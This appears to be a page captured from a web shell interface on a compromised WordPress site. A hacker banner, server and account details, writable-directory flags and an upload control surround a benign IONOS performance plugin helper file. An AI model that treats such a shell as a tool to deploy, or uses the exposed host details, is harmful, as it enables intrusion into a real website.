Heray-Was-Here
Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67451637 ( 67451637)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /homepages/10/d4299163471/htdocs/wordpress/wp-content/plugins/ionos-performance/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /homepages/10/d4299163471/htdocs/wordpress/wp-content/plugins/ionos-performance/inc/Helper.php
<?php

namespace Ionos\Performance;

use Ionos\Libraryperformance\Config;
use Ionos\PluginDetection\PluginDetection;

/**
 * Helper class.
 */
class Helper {
	/**
	 * Checks if conflicting caching plugins are in use.
	 *
	 * @return bool
	 */
	public static function has_conflicting_caching_plugins() {
		$conflicting_caching_plugins = Config::get( 'features.conflictingCachingPlugins' );
		if ( ! empty( $conflicting_caching_plugins ) ) {
			return PluginDetection::has_active( $conflicting_caching_plugins );
		}

		return false;
	}

	/**
	 * Checks an option and returns if the current user can flush the cache.
	 *
	 * @since 1.0.0
	 *
	 * @return bool
	 */
	public static function current_user_can_flush_cache() {
		/**
		 * Filters if the user can flush the cache.
		 *
		 * @since 1.0.0
		 * @since 2.0.0 Renamed filter.
		 *
		 * @param string $user_can_flush_cache If the user should be able to flush the cache.
		 */
		return (bool) apply_filters( 'ionos_performance_user_can_flush_cache', current_user_can( 'manage_options' ) );
	}

	/**
	 * Splits a string by comma and returns the parts as an array. Empty parts will be omitted.
	 *
	 * @since   1.0.0
	 *
	 * @param  string $input String to split.
	 *
	 * @return  array        Splitted values.
	 */
	public static function preg_split( $input ) {
		return (array) preg_split( '/,/', $input, - 1, PREG_SPLIT_NO_EMPTY );
	}

	/**
	 * Checks cookie, if user is logged in or author, etc.
	 *
	 * @since   1.0.0
	 *
	 * @return  boolean  $diff  TRUE on "marked" users
	 */
	public static function has_cookie_bypass() {
		if ( empty( $_COOKIE ) ) {
			return false;
		}

		foreach ( $_COOKIE as $k => $v ) {
			if ( preg_match( '/^(wp-postpass|wordpress_logged_in|comment_author)_/', $k ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Gets the options.
	 *
	 * @return array
	 */
	public static function get_options() {
		return get_option( 'ionos-performance', [] );
	}

	/**
	 * Gets a specific option.
	 *
	 * @param string $option The option key.
	 *
	 * @return mixed|null
	 */
	public static function get_option( string $option ) {
		$options = self::get_options();
		if ( isset( $options[ $option ] ) ) {
			return $options[ $option ];
		}

		return null;
	}

	/**
	 * Update the performance options.
	 *
	 * @param array $options The options to update.
	 *
	 * @return bool
	 */
	public static function set_options( $options ) {
		$merged_options = array_merge( self::get_options(), $options );
		return update_option( 'ionos-performance', $merged_options );
	}
}

Hry